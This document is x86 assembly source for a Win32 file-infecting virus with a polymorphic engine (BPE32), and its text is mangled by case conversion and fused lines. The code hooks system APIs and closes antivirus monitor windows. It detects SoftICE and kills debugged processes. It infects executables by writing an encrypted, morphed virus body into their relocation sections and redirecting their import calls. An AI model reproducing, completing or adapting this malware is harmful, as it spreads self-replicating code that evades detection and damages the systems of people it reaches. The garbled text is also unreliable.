Add EDI, EDX; from VLCB

Add Edi, VLCB_TSEP

XOR EAX, EAX

Rep stosd; ...

Popad

J_API OldexitProcess; Jump to Original API

Next hookers

Newexitthread:

Call Common_stage

J_API Oldexitthread

NewCloseHandle:

Call Common_stage

J_API OldCloseHandle

NewgetLastError:

Call Common_stage

J_API OldgetLastError

Monitor: Pushad; Store All Registers

Call Szu32; Push Address of String User32.dll

DB 'USER32', 0

SZU32: MOV Eax, 0

DDLOADLIBRARYA = DWORD PTR $ -4; loading user32.dll

Call EAX

XCHG EAX, EBX

Test EBX, EBX

JE END_MON2; Quit IF Error

Call Findwindowa; Push Address of String Findwindowa

DB 'FindWindowa, 0

Findwindowa:

Push Ebx; Push Lib Handle

MOV EAX, 0

DDGETPROCADDRESS = DWORD PTR $ -4; Get Address of Findwindowa API

Call EAX

XCHG Eax, ESI

Test ESI, ESI

JE END_MON; Quit IF Error

Call PostMessagea; Push Address of String PostMessagea

DB 'PostMessagea', 0

Postmessagea:

Push EBX

Call [EBP DDGETPROCADDRESS - MGDELTA]; Get Address of PostMessageaxchg Eax, EDI

Test EDI, EDI

JE END_MON; Quit IF Error

MOV ECX, 3; Number of Monitors

Call monitors; Push Address of strings

DB 'AVP MONITOR', 0; AVP MONITOR

DB 'AMON ANTIVIRUS MONITOR', 0; AMON ENGLISH VERSION

DB 'Antiv? Rusov? Monitor amon', 0; Amon Slovak Version

Monitors:

POP EDX; POP Address

K_MON: Pushhad; Store All Registers

XOR EBP, EBP

Push Edx

Push EBP

Call ESI; FIND WINDOW

Test Eax, EAX

JE next_mon; quit if not found

Push EBP

Push EBP

Push 12h; wm_quit

Push EAX

Call Edi; Destroy WINDOW

Next_mon:

Popad; restore all registers

PUSH ESI

MOV ESI, EDX

@EnDsz; get to next string

Mov Edx, ESI; Move It To Edx

POP ESI

LOOP K_MON; TRY Another Monitor

END_MON: PUSH EBX; Push Lib Handle

MOV EAX, 0

DDFREELIBRARY = DWORD PTR $ -4

Call Eax; Unload Library

END_MON2:

Popad; restore all registers

JMP D_WR; and quit

Debug2: Lea EBX, [EBP SICE95 - MGDELTA]; Address of Softice Driver String

Call Open_Driver; Open Driver

INC EAX; is eax == 0?

JE n_sice; yeah, softice is not present

Dec EAX

Call Close_Driver; Close Driver

JMP D_WR; and quit

N_sice: Lea EBX, [EBP SICENT - MGDELTA]; Address of Softice Driver String

Call Open_Driver; Open Driver

INC EAX

JE N2_DB; Quit if not present

Dec EAX

Call Close_Driver; Close Driver

JMP D_WR; and quit

Debug1: Push DWORD PTR [ESI.WFD_SZALTERNATEFILENAME]; Push ID Number Of Process

PUSH 0

Push 1

MOV EAX, 0

DDOpenProcess = DWORD PTR $ -4

Call Eax; Open Process

Test Eax, EAX

JNE N1_DB

N2_DB: Call T_Write; Quit IF Error

JMP M_THRD

N1_DB: PUSH 0

Push EAX

MOV EAX, 0

DDTERMINATEPROCESS = DWORD PTR $ -4; Destroy Debugged Process:) Call Eax

JMP T_WRITE

MTHREAD: PUSHAD; Main IPC THREAD

@Seh_setupframe; setup SEH FRAME

Call gtdelta; get delta

M_thrd: Mov Edx, 0; Get Thread ID Number

T_Number = DWORD PTR $ -4

MOV ECX, VLCB_Waitget

Lea ESI, [EBP DATA_BUFFER - MGDELTA]

Call get_set_vlcb; Wait for Request

Dec ECX

Jecxz quit; quit

Dec ECX

JECXZ Check; Check file

CMP ECX, 1

JE Infect; Check and Infect File

CMP ECX, 2

Je Debug1; Check for Debugger

CMP ECX, 3

Je Debug2; Check for Softice

CMP ECX, 4

JE Monitor; Kill Av Monitors

PUSH 0

Call [EBP DDSLEP - MGDELTA]; Switch To Next Thread

JMP M_THRD; And Again ...

Quit: Call T_Write; WRITE RESULT

END_MTHREAD:

@Seh_removeframe; Remove SEH FRAME

Popad; restore all registers

Ret; and quit from thread

T_Write: xor ECX, ECX; SET RESULT

Inc ECX

T_WR: Inc ECX

MOV DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], ECX; Write IT

MOV ECX, VLCB_SETWAIT; SET and WAIT

Mov EDX, [EBP T_Number - Mgdelta]; this Thread

Call get_set_vlcb; ipc!

RET

Check: @seh_setupframe; setup SEH FRAME

Call Checkfile; Check File

Jecxz err_scheck; quit if Error

_C1_ok: @seh_removeframe; Remove SEH FRAME

Call T_Write; Write Result

JMP M_THRD; and quit

Err_scheck:

@Seh_removeframe; Remove SEH FRAME

D_WR: XOR ECX, ECX

Call T_Wr; Write Result

JMP M_THRD; and quit

Infect: @seh_setupframe; Setup SEH FRAME

Call infectfile; Check and Infect File

JMP _C1_OK; and quit

Infectfile:

Lea ESI, [ESI.WFD_SZFILENAME]; GET FileName

Pushhad

XOR EAX, EAX

Push EAX

Push file_attribute_normal

Push Open_EXISTING

Push EAX

Push EAX

Push generic_read or generic_write

PUSH ESI

MOV EAX, 0

DDCREATEFILEA = DWORD PTR $ -4Call Eax; Open File

INC EAX

Je r_attr; quit if error

Dec EAX

MOV [EBP HFILE - MGDELTA], EAX; Save Handle

XOR EDX, EDX

Push Edx

Push Edx

Push Edx

Push Page_Readwrite

Push Edx

Push EAX

MOV EAX, 0

DDCREATEFILEMAPPINGA = DWORD PTR $ -4

Call Eax; Create file mapping

XCHG EAX, ECX

Jecxz endcreatemapping; quit if error

MOV [EBP HMAPFILE - MGDELTA], ECX; Save Handle

XOR EDX, EDX

Push Edx

Push Edx

Push Edx

Push file_map_write

Push ECX

MOV EAX, 0

DDMapViewoffile = DWORD PTR $ -4

Call Eax; Map View Of File

XCHG EAX, ECX

Jecxz endmapfile; quit if error

MOV [EBP LPFILE - MGDELTA], ECX; Save Base Address

JMP Nopen

EndmapFile:

Push_Large_0; Store Base Address

LPFILE = DWORD PTR $ -4

MOV EAX, 0

DDUNMAPVIEWOFFILE = DWORD PTR $ -4

Call Eax; Unmap View of File

Endcreatemapping:

Push_Large_0; Store Handle

HMAPFILE = DWORD PTR $ -4

Call [EBP DDCLOSEHANDLE - MGDELTA]; Close File Mapping

Lea Eax, [EBP DATA_BUFFER.WFD_FTLASTWRITIME - MGDELTA]

Push EAX

Lea Eax, [EBP DATA_BUFFER.WFD_FTLASTACCESSTIME - MGDELTA]

Push EAX

Lea EAX, [EBP DATA_Buffer.wfd_ftcreationTIME - MGDELTA]

Push EAX

Push DWORD PTR [EBP HFILE - MGDELTA]

MOV EAX, 0

DDSETFILETIME = DWORD PTR $ -4

Call Eax; Set Back File Time

Push_Large_0; Store Handle

Hfile = DWORD PTR $ -4

Call [EBP DDCLOSEHANDLE - MGDELTA]; Close File

R_ATTR: PUSH DWORD PTR [EBP DATA_BUFFER - MGDELTA]

Lea ESI, [EBP DATA_Buffer.wfd_szFileName - Mgdelta]

Push ESI; FileName

Call [EBP DDSETFILEATTRIBUTESA - MGDELTA]; SET Back File Attributes

JMP C_ERROR; and quit

NOPEN: MOV EBX, ECX

CMP Word PTR [EBX], Image_DOS_SIGNATURE; MUST BE MZ

Jne EndmapFile

Mov ESI, [EBX.MZ_LFANEW]

Add ESI, EBX

Lodsd

CMP EAX, Image_NT_SIGNATURE; MUST BE PE / 0/0

Jne EndmapFile

CMP Word PTR [ESI.FH_MACHINE], Image_FILE_MACHINE_I386; MUST BE 386

Jne EndmapFile

MOV AX, [ESI.FH_CHARACTERISTICS]]

Test AX, Image_File_executable_Image; Must Be Executable

Je endmapfile

Test AX, Image_File_dll; MustNT Be DLL

Jne EndmapFile

Test AX, Image_File_System; MustNT Be System File

Jne EndmapFile

MOV Al, Byte Ptr [ESI.OH_SUBSYSTEM]

TEST Al, Image_Subsystem_native; And MustNT Be Driver (Thanx Griyo!)

Jne EndmapFile

Movzx ECX, Word Ptr [ESI.FH_NUMBEROFSECTIONS]; Must Be More Than ONE Section

Dec ECX

Test ECX, ECX

Je endmapfile

Imul Eax, ECX, Image_SizeOf_SECTION_HEADER

Movzx EDX, Word Ptr [ESI.FH_SIPEOFOPTIONALHEADER]

Lea EDI, [EAX EDX Image_SizeOf_File_Header]

Add Edi, ESI; GET TO Section Header

Lea Edx, [ESI.NT_OPTIONALHEADER.OH_DATADIRECTORY.DE_BASERELOC.DD_VIRTUALADDRESS-4]

MOV EAX, [EDX]

Test Eax, EAX

Je endmapfile; quit if no relocs

MOV ECX, [EDI.SH_VIRTUALADDRESS]

CMP ECX, EAX

JNE ENDMAPFILE; Is it.Reloc Section?

CMP [EDI.SH_SIZEOFRAWDATA], 1A00H

JB endmapfile; check if.Reloc is Big Enough

Pushhad

XOR EAX, EAX

MOV EDI, EDX

Stosd; Erase.Reloc Records

Stosd

Popad

Mov Eax, EBX; Now We Will Try To

XOR ECX, ECX; PATCH

IT_PATCH:

Pushad; One API Call

MOV EDX, DWORD PTR [EBP CRCPAPIS ECX * 4 - MGDELTA]; Get CRC32

Test EDX, EDX

JNE C_PATCH

Popad

JMP end_patch; quit if end of record

C_PATCH: Push DWORD PTR [EDI.SH_VIRTUALADDRESS]; PATCH ADDRESS

Push EDX; CRC32

MOV [EBP R2RP - MGDELTA], EAX; Infection Stage

Call Patchit; Try to Patch Api Call

MOV [ESP.PUSHAD_EDX], EAX; Save Address

Test Eax, EAX

Popad

Jne end_patch; quit if we got addressinc ECX

JMP IT_PATCH; API CALL NOT Found, Try Another API

End_patch:

MOV EAX, EDX

Mov Edx, [ESI.NT_OPTIONALHEADER.OH_IMAGEBASE-4]; Get Image Base

MOV [EBP COMPRESSED MGDELTA], EDX; SAVE IT

Lea EDX, [EBP COMPRESSED (DDAPI-DECOMPRESSED) - MGDELTA]

Push DWORD PTR [EDX]; Store Prev. API CALL

MOV [EDX], EAX; Save New One

Pushad; Store All Registers

Lea ESI, [EBP COMPRESSED (Vulcanoinit-Decompressed) - MGDELTA]

Mov edi, [edi.sh_pointertorawdata]

Add Edi, EBX; WHERE to WRITE BODY

MOV ECX, (Decompressed-Vulcanoinit 3) / 4; Size of Virus Body

Call BPE32; Write Morphed Body To File!

Mov [ESP.PUSHAD_EAX], EAX; Save Size

Popad

POP DWORD PTR [EDX]; Restore API CALL

OR DWORD PTR [EDI.SH_CHARACTERISTICS], image_scn_mem_read or image_scn_mem_write

Set Flags

Lea ECX, [EDI.SH_VIRTUALSIZE]; GET VIRTUAL SIZE

Add [ECX], EAX; Correct IT

MOV ECX, [ESI.NT_OPTIONALHEADER.OH_FILALIGNMENT-4]

XOR EDX, EDX

Div ECX

INC EAX

Mul ECX

Mov edx, [edi.sh_sizeofrawdata]

Mov [edi.sh_sizeofrawdata], Eax; Align SizeOfrawData

Test DWORD PTR [EDI.SH_CHARACTERISTICS], image_scn_cnt_initialized_data

Je rs_ok

Sub Eax, EDX

Add [eSI.nt_optionalHeader.oh_sizeofinitializedData-4], EAX

Update Next Field, if Needed

RS_OK: MOV EAX, [EDI.SH_VIRTUALADDRESS]

Add eax, [edi.sh_virtualsize]

XOR EDX, EDX

Mov ECX, [ESI.NT_OPTIONALHEADER.OH_SECTIONALIGNMENT-4]

Div ECX

INC EAX

Mul ECX

MOV [ESI.nt_OptionalHeader.oh_sizeofimage-4], Eax; New SizeOfimage

JMP endmapfile; everything is ok, we can quit

Checkfile:

Pushhad

MOV EBX, ESI

TEST [EBX.WFD_DWFILEATTRIBUTES], FILE_ATTRIBUTE_DIRECTORY

JNE C_ERROR; Discard Directory Entries

XOR ECX, ECX

CMP [EBX.WFD_NFILESIZEHIGH], ECX; Discard Files> 4Gbjne C_ERROR

Mov Edi, [EBX.WFD_NFILESZELOW]

CMP EDI, 4000H; Discard Small Files

JB C_ERROR

Lea ESI, [EBX.WFD_SZFILENAME]; GET FileName

PUSH ESI

ENDF: LODSB

CMP Al, '.'; Search for Dot

JNE ENDF

Dec ESI

Lodsd; Get FileName Extension

OR Eax, 20202020h; Make It Lowercase

NOT EAX; Mask IT

POP ESI

CMP EAX, NOT 'EXE.'; Is IT EXE?

JE Extok

CMP EAX, NOT 'RCS.'; Is IT SCR?

JE Extok

CMP EAX, NOT 'XFS.'; Is IT SFX?

JE Extok

CMP EAX, NOT 'LPC.'; Is IT CPL?

JE Extok

CMP EAX, NOT 'TAD.'; Is IT Dat?

JE Extok

CMP EAX, Not 'Kab.'; Is IT Bak?

JE Extok

XOR ECX, ECX

Inc ECX

C_ERROR: MOV [ESP.PUSHAD_ECX], ECX; Save Result

Popad

RET

Extok: push file_attribute_normal; Normal File

Push ESI; FileName

MOV EAX, 0

DDSETFILEATTRIBUTESA = DWORD PTR $ -4

Call Eax; Blank File Attributes

XCHG EAX, ECX

JMP C_ERROR

GET_SET_VLCB:; Get / Set VLCB Records Procedure (IPC)

; Input: ECX - 0 = SET / WAIT ELSE WAIT / GET

ESI - Pointer to Data, IF ECX! = 0

EBX - ID NUMBER OF Request

; EDX - -1, IF Random Thread, Otherwise

Number of thread.

; Output: ECX - IF INPUT ECX! = 0, ECX = ID

; - if Error, ECX = -1

; EDX - IF ECX! = 0, NUMBER OF THREAD

ESI - PTR to Data, IF INPUT ECX = 0

Mov EDI, 0

VLCBBASE = DWORD PTR $ -4

Inc EDX

JE T_RND; Get Random Record

Dec edx

Imul Eax, EDX, VLCB_TSIZE-8

Add Edi, EAX

JECXZ SW_VLCB

CMP DWORD PTR [EDI.VLCB_TSEP.VLCB_THANDLE], 0

JE QQ

Call W_wait; Wait for Free Mutex

Pushhad

XCHG ESI, EDI

Lea ESI, [ESI.VLCB_TSEP.VLCB_TDATA]

MOV ECX, (VLCB_TSIZE-8) / 4

Rep Movsd; Copy Data

Popad

MOV ECX, [EDI.VLCB_TSEP.VLCB_TID]; get ID

Push ECX

Call R_Mutex; Release MUTEXPOP ECX

Ret; and quit

T_Next: Add Edi, VLCB_TSIZE-8; Move to Next Record

Inc EDX

Loop Tsrch

QQQ: POP ECX

QQ: XOR ECX, ECX

Dec ECX

RET

T_rnd: Push Ecx; Pass ThRU 20 Records

PUSH 20

POP ECX

XOR EDX, EDX

Tsrch: CMP DWORD PTR [EDI.VLCB_TSEP.VLCB_THANDLE], 0

JE T_Next; Check if ITS Free

POP ECX

SW_VLCB: Call W_Wait; Wait for Free Mutex

Pushhad

Lea edi, [edi.vlcb_tsep.vlcb_tdata]

MOV ECX, (VLCB_TSIZE-8) / 4

Rep Movsd; Copy Data

Popad

MOV [edi.vlcb_tsep.vlcb_tid], EBX

Pushhad

Lea ESI, [EDI.VLCB_TSEP.VLCB_TDATA.WFD_SZALTERNATEFILENAME]

MOV EBP, [ESI]; Get Result

Call R_Mutex; Signalize Mutex

SLP: Call Sleep; Switch To Next Thread

CMP [ESI], EBP; Check for Change

Je SLP; No Change, Wait

Popad

XOR ECX, ECX

Ret; quit

W_wait: Call Open_Mutex; Open Mutex

Push EAX

Push 10000; Wait 10 Seconds

Push EAX

MOV EAX, 0

DDWAITFORSINGLEOBJECT = DWORD PTR $ -4

Call EAX

Test Eax, EAX

POP EAX

JNE QQQ; Quit if not signalize

Call Close_Mutex; Close Mutex

Ret; and quit

Open_mutex:

Lea Eax, [edi.vlcb_tsep.vlcb_thandle]; Name of Mutex

Push EAX

PUSH 0

Push 0F0000h or 100000h or 1; Access Flags

MOV EAX, 0

DDOPENMUTEXA = DWORD PTR $-4; Open Mutex

Call EAX

RET

R_Mutex: Call Open_Mutex; Open Mutex

Push EAX

Push EAX

MOV EAX, 0

DDRELESEMUTEX = DWORD PTR $ -4

Call Eax; Singalize Mutex

POP EAX

Close_Mutex:

Push EAX

MOV EAX, 0

DDCloseHandle = DWORD PTR $ -4

Call Eax; Close Mutex

RET

Sleep: Push 0; Switch to Next Thread

MOV EAX, 0

DDSLEP = DWORD PTR $ -4

Call Eax; Switch!

RET

Check & Infect:

Pushhad

Mov ESI, EBX; Get Ptr to Data

Pushhad

Call VLCB_STUPH; Common Stuph

MOV EBX, VLCB_CHECK; Check ONLY

Call get_set_vlcb; ipc!

Inc ECX

Popad

JE _RET_; Quit if ErrorMov Eax, DWORD PTR [ESI.WFD_SZALTERNATEFILENAME]

Dec EAX

Test Eax, EAX

JE _RET_

SC1_OK: CALL VLCB_STUPH; Common Stuph

MOV EBX, VLCB_INFECT; Check and Infect

Call get_set_vlcb; ipc!

_RET_: POPAD

RET

CRC32: PUSH ECX; Procedure to Calculate CRC32

Push Edx

Push EBX

XOR ECX, ECX

Dec ECX

MOV EDX, ECX

Nextbytecrc:

XOR EAX, EAX

XOR EBX, EBX

Lodsb

XOR Al, Cl

MOV CL, CH

MOV CH, DL

MOV DL, DH

MOV DH, 8

NextbitCrc:

SHR BX, 1

RCR AX, 1

JNC NOCRC

XOR AX, 08320H

XOR bx, 0edb8h

NOCRC: DEC DH

JNZ nextbitCrc

XOR ECX, EAX

XOR EDX, EBX

Dec Edi

JNE NEXTBYTECRC

Not Edx

NOT ECX

POP EBX

MOV EAX, EDX

ROL EAX, 16

MOV AX, CX

POP EDX

POP ECX

RET

Searchet:; Procedure for Recieving API Names from Export Table

Pushad; save all registers

@Seh_setupframe; setup SEH FRAME

Mov edi, [eax.mz_lfanew]; get PTR to PE Header

Add Edi, Eax; Make Pointer RAW

MOV ECX, [edi.nt_optionalheader.oh_directoryentries.de_export.dd_size]

Jecxz address_not_found; quit, if no exports

MOV EBX, EAX

Add ebx, [edi.nt_optionalheader.oh_directoryentries.de_export.dd_virtualaddress]

Mov EDX, EX; Get RVA to Export Table

Add edx, [ebx.ed_addressofnames]; Offset to Names

MOV ECX, [EBX.ED_NUMBEROFNAMES]; Number of Name

Mov EDI, ESI

Push EDI

XCHG EAX, EBP

XOR EAX, EAX

Apiname: Push EAX

MOV ESI, EBP

Add ESI, [EDX EAX * 4]; Get to API Name

PUSH ESI

@Endsz; get to the end of api name

Sub ESI, [ESP]; Get Size of API Name

MOV EDI, ESI; To EDI

POP ESI; Restore Ptr To API Name

Call CRC32; Get ITS CRC32

Mov EDI, [ESP 4]; Get Requested CRC32

CMP Eax, [EDI]; IS IT SAME

POP EAX

Je mcrc; yeah

Nchar: Inc Eax; NO, Increment Counter

Loop Apiname; and get next API Name

POP Eax; Clean Stack

Address_not_found: xor eax, eax; and quit

JMP Endgpa

MCRC: POP EDX

MOV EDX, EBP

Add Edx, [ebx.ed_addressofordinals]; Skip over Ordinals

Movzx Eax, Word PTR [EDX EAX * 2]

CMP EAX, [ebx.ed_numberoffunctions]]

JAE Address_not_found

MOV EDX, EBP

Add Edx, [ebx.ed_addressoffunctions]; Get Start of Function Addresses

Add EBP, [EDX EAX * 4]; Make it it Pointer to Our API

XCHG EAX, EBP; Address to EAX

Endgpa: @seh_removeframe; Remove SEH FRAME

Mov [ESP.PUSHAD_EAX], EAX; Store Address

Popad; restore all registers

Ret; and quit

A_GO: INC ESI; Jump over alignments

Inc ESI

Pushad; Store All Registers

XOR EDX, EDX; Zero EDX

XCHG Eax, ESI

Push 2

POP ECX

Div ECX

Test EDX, EDX

JE END_ALIGN; No alignments needed

INC Eax; Align API Name

END_ALIGN:

Mul ECX

MOV [ESP.PUSHAD_ESI], EAX

Popad; restore all registers

RET

PATCHIT PROC; Procedure for Patching API Calls

Pushad; Store All Registers

@Seh_setupframe; setup SEH FRAME

Call ITDLTA

ITDELTA: DB 0B8H

ITDLTA: POP EBP

MOV [EBP GMH - ITDELTA], EAX; Save IT

MOV EBX, [Eax.mz_LFanew]; Get to PE Header

Add Ebx, Eax; Make Pointer Raw

Push dword PTR [ebx.nt_optionalheader.oh_directoryentries.de_import.dd_virtualaddress]

Call Rva2Raw

POP EDX

Sub Edx, Image_SizeOf_Import_Descriptor

Push EDI

N_dll: POP EDI

Add Edx, Image_SizeOf_Import_Descriptor

Lea EDI, [EBP SZK32 - ITDELTA]; Get Kernel32 Name

MOV ESI, [EDX]

Test ESI, ESI

Je endpit

SDLL: Push DWORD PTR [edx.id_name]

Call Rva2Raw

POP ESI

Push EDI

Cmpsd; Is IT K32?

JNE N_DLL

Cmpsd

JNE N_DLL

Cmpsd

JNE N_DLL

POP EDI

XOR ECX, ECX; Zero Counter

Push dword ptr [edx.id_originalfirstthunk]; Get First Record

Call Rva2Raw

POP ESI

Push DWORD PTR [ESI]; Get First API Name

Call RVA2RAWPOP ESI

Pit_align:

Call A_GO

Push ESI; Store Pointer

@Endsz; get to the end of api name

Mov EDI, ESI

Sub EDI, [ESP]; Move Size of API Name to EDI

POP ESI; Restore Pointer

Push Eax; Store EAX

Call CRC32; Calculate CRC32 of API Name

CMP Eax, [Esp.cpushad 10h]; Check, IT IS Requested API

JE A_OK; YEAH, IS IS

Inc ECX

MOV Eax, [ESI]; Check, IF The Is Next API

Test Eax, EAX; ...

POP Eax; Restore EAX

JNE Pit_Align; Yeah, Check IT

JMP endpit; no, quit

A_ok: POP Eax; Restore EAX

Push DWORD PTR [edx.id_firstthunk]; get address to iaat

Call Rva2Raw

POP EDX

MOV EAX, [EDX ECX * 4]; Get Address

MOV [ESP.PUSHAD_EAX 8], EAX; and Save It to Stack

Pushad; Store All Registers

MOV Eax, 0; Get Base Address of Program

GMH = DWORD PTR $ -4

Mov ebx, [eax.mz_lfanew]

Add Ebx, EAX; Get Pe Header

Push dword PTR [ebx.nt_optionalheader.oh_baseofcode]; get base of code

Call Rva2RAW; Normalize

POP ESI; To ESI

Mov ECX, [ebx.nt_optionalheader.oh_sizeofcode]; and ITS Size

Pushhad

Call p_var

DD?

P_VAR: Push Page_execute_readwrite

Push ECX

PUSH ESI

MOV EAX, 0

DDVIRTUALPROTECT = DWORD PTR $ -4

Call Eax; Set Writable Right

Test Eax, EAX

Popad

Je endpit

SJMP: MOV DL, [ESI]; Get Byte from Code

Inc ESI

CMP DL, 0FFH; Is IT JMP / CALL?

JNE LJMP; Check, IT IS

CMP Byte PTR [ESI], 25H; JMP DWORD PTR [xxxxxxxh]

Je git1

CMP Byte PTR [ESI], 15H; or Call Dword PTR [xxxxxxxh]

JNE LJMP

MOV DL, 0E8H

JMP git2

Git1: MOV DL, 0E9H

Git2: MOV [EBP J_OR_C - ITDELTA], DL; Change Opcode

Mov edi, [ebx.nt_optionalheader.oh_directoryentries.de_import.dd_virtualaddress]

Add edi, [ebx.nt_optionalheader.oh_directoryentries.de_import.dd_size]

Push ECX

MOV ECX, [EBX.NT_OPTIONALHEADER.OH_IMAGEBASE] Add Edi, ECX

Push EBP

MOV EBP, [ESI 1]

Sub EBP, ECX

Push EBP

Call Rva2Raw

POP EBP

Sub EBP, EAX

Add EBP, ECX

SUB EDI, EBP

POP EBP

POP ECX

JS LJMP; Check, IT IS Correct Address

Push ECX

Push Edx; Store EDX

Mov Edx, [ESP.PUSHAD_ECX 8]; Get Counter

Imul EDX, 4; Multiply IT by 4

Add edx, [ESP.PUSHAD_EDX 8]; add address to it to ptr

Sub EDX, EAX

MOV ECX, [ESI 1]

SUB ECX, [ebx.nt_optionalheader.oh_imagebase]

Push ECX

Call Rva2Raw

POP ECX

SUB ECX, EAX

CMP EDX, ECX; IS IT CURRENT Address

POP EDX

POP ECX; Restore EDX

JNE SJMP; NO, Get Next Address

MOV Eax, [ESI 1]

Mov [Esp.cpushad.pushad_eax 8], Eax; Store Register to Stack

MOV [ESP.PUSHAD_ESI], ESI; for L8R USE

Popad; restore all registers

MOV BYTE PTR [ESI-1], 0E9H; Build Jmp OR CALL

J_OR_C = Byte PTR $ -1

MOV EBX, [ESI 1]

MOV EAX, [ESP.CPUSHAD 10H]; Get Address

Add Eax, [EBP GMH - ITDELTA]

Sub Eax, ESI; - CURRENT ADDRESS

SUB EAX, 4; 1-5

MOV [ESI], Eax; Store Built JMP Instruction

MOV Byte Ptr [ESI 4], 90H

XCHG EAX, EBX

JMP endit; and quit

LJMP: DEC ECX

JECXZ ENDPIT-1

JMP SJMP; Search in a loop

Popad; restore all registers

Endpit: xor Eax, EAX

MOV [ESP.PUSHAD_EAX 8], EAX

Endit: @seh_removeframe; Remove SEH FRAME

Popad; restore all registers

Ret 8; and quit

Patchit ENDP

Rva2raw: Pushad; Procedure for Converting Rvas to Raw Pointers

MOV ECX, 0; 0 if Actual Program

R2RP = DWORD PTR $ -4

Jecxz NR2R

Mov Edx, [ESP.CPUSHAD 4]; no comments needed :)

Movzx ECX, Word Ptr [ebx.nt_fileHeader.fh_Numberofsections]

Movzx ESI, Word Ptr [ebx.nt_fileHeader.fh_sizeofoptionalheader]

Lea ESI, [ESI EBX Image_SizeOf_File_Header 4] n_r2r: Mov Edi, [ESI.SH_VIRTUALADDRESS]

Add Edi, [ESI.SH_VIRTUALSIZE]

CMP EDX, EDI

JB C_R2R

Add ESI, Image_SizeOf_section_Header

LOOP N_R2R

Popad

RET

NR2R: Add [Esp.cpushad 4], EAX

Popad

RET

C_R2R: add eax, [esi.sh_pointertorawdata]

Add Eax, EDX

Sub Eax, [ESI.SH_VIRTUALADDRESS]

Mov [ESP.CPUSHAD 4], EAX

Popad

RET

Newthread:; Thread Starts Here

Pushad; Store All Registers

@Seh_setupframe

MOV EBP, [ESP 2CH]; Get Delta Parameter

XOR ECX, ECX; Zero ECX

And DWORD PTR [EBP R2RP - GDELTA], 0

G_hook: MOV Eax, [EBP Newhookers ECX * 4 - GDELTA]; Take Address to Hooker

TEST EAX, EAX; is it 0?

Je Q_HOOK; YEAH, Quit

Add Eax, EBP

SUB EAX, [EBP GMHA - GDELTA]

Push Eax; Store Address

Push DWORD PTR [EBP CRCHAPIS ECX * 4 - GDELTA]; Store CRC32

MOV EAX, 0

GMHA = DWORD PTR $ -4

Call Patchit; and patch import table

MOV ESI, [EBP Oldhookers ECX * 4 - GDELTA]

Add ESI, EBP

MOV [ESI], Eax; Save Old Hooker

Inc ECX; Increment Counter

JMP G_HOOK; LOOP

Q_HOOK: @seh_removeframe

Popad; restore all registers

Ret; and Terminate Thread

; BPE32 (Benny's Polymorph Engine for Win32) Starts Here. U CAN FIND FIRST

Version of BPE32 IN DDT # 1 E-Zine. But Unfortunately, How IT Usualy Goes,

There WERE TWO, Really Silly / Tiny Bugs. i Found Them and Corrected Them. So,

; if u wanna us BPE32 in Your Code, Use this Version, Not That Version from

DDT # 1. Very Big Sorry To Everyone, WHO HAD / HAS / WILL HAVE Problems with it.

I Also include There Salc opcode as a junk instruction.

BPE32 PROC

Pushad; save all regs

Push EDI; Save these Regs for L8R USE

Push ECX; ...

Mov Edx, EDI; ...

Push ESI; Preserve this Regcall Rjunk; Generate Random Junk Instructions

POP ESI; Restore IT

MOV Al, 0e8h; Create Call Instruction

Stosb; ...

Mov Eax, ECX; ...

Imul Eax, 4; ...

Stosd; ...

Mov Eax, EDX; Calculate Size of Call Junx

Sub EDX, EDI; ...

NEG EDX; ...

Add Edx, Eax; ...

Push EDX; Save IT

Push 0; Get Random Number

Call Random; ...

XCHG EDX, EAX

MOV [EBP XOR_KEY - MGDELTA], EDX; Use it as xor constant

Push 0; Get Random Number

Call Random; ...

XCHG EBX, EAX

MOV [EBP Key_inc - Mgdelta], EBX; Use IT As Key Increment Constant

X_Loop: Lodsd; Load Dword

XOR EAX, EDX; Encrypt IT

StOSD; Store Encrypted DWORD

Add Edx, EBX; Increment Key

Loop X_Loop; Next DWORD

Call Rjunk; Generate Junx

Mov Eax, 0006E860H; Generate SEH HANDLER

Stosd; ...

MOV EAX, 648B0000H; ...

Stosd; ...

MOV EAX, 0CEB0824H; ...

Stosd; ...

Greg0: Call Get_reg; Get Random Register

CMP Al, 5; Must Not Be EBP REGOSTER

Je Greg0

MOV BL, Al; Store Register

MOV DL, 11; Proc Parameter (Do Not Generate MOV)

Call make_xor; Create Xor or subintruction

Inc EDX; Destroy Parameter

MOV Al, 64h; Generate FS:

StoSB; Store IT

Mov Eax, 896430ffh; Next SEH INSTRUCTIONS

OR AH, BL; Change Register

StOSD; store them

MOV Al, 20H; ...

Add Al, BL; ...

Stosb; ...

Push 2; Get Random Number

Call Random

Test Eax, EAX

JE _BYTE_

MOV Al, 0FEH; Generate Inc DWORD PTR

JMP _DW_

_BYTE_: MOV AL, 0FFH; Generate Inc Byte PTR

_DW_: Stosb; Store IT

Mov Al, BL; Store Register

Stosb; ...

MOV Al, 0ebh; Generate Jump Short

Stosb; ...

MOV Al, -24D; Generate Jump to Start of Code (Trick

Stosb; for better emulators, e.g. nodice32)

Call Rjunk; Generate Junx

Greg1: Call Get_reg; Generate Random Register

CMP Al, 5; Must Not Be EBPJEG1

MOV BL, Al; Store IT

Call make_xor; generate xor, subs reg, reg or mov reg, 0

MOV Al, 64H; Next SEH INSTRUCTIONS

Stosb; ...

MOV Al, 8FH; ...

Stosb; ...

MOV Al, BL; ...

Stosb; ...

MOV Al, 58h; ...

Add Al, BL; ...

Stosb; ...

Mov al, 0e8h; Generate Call

Stosb; ...

XOR EAX, Eax; ...

Stosd; ...

Push EDI; Store for L8R USE

Call Rjunk; Call Junk Generator

Call get_reg; random register

MOV BL, Al; Store IT

Push 1; Random Number (0-1)

Call Random; ...

Test Eax, EAX

JNE NEXT_DELTA

MOV Al, 8bh; Generate Mov REG, [ESP]; POP EAX

Stosb

MOV Al, 80h

OR Al, BL

ROL Al, 3

Stosb

MOV Al, 24h

Stosb

MOV Al, 58H

JMP BDELTA

Next_delta:

MOV Al, BL; Generate Pop Reg; Sub Reg, ...

Add Al, 58H

BDELTA: Stosb

MOV Al, 81H

Stosb

Mov al, 0e8h

Add Al, BL

Stosb

POP EAX

Stosd

Call Rjunk; Random Junx

XOR BH, BH; Parameter (First Execution Only)

Call Greg2; Generate Mov SourceReg, ...

MOV Al, 3; Generate Add SourceReg, Deltaoffset

Stosb; ...

MOV Al, 18h; ...

OR Al, Bh; ...

ROL Al, 3; ...

OR Al, BL; ...

Stosb; ...

MOV ESI, EBX; Store EBX

Call Greg2; Generate Mov Countreg, ...

Mov CL, BH; Store Count Register

MOV EBX, ESI; Restore EBX

Call Greg3; Generate Mov KeyReg, ...

Push EDI; Store this position for jump to decryptor

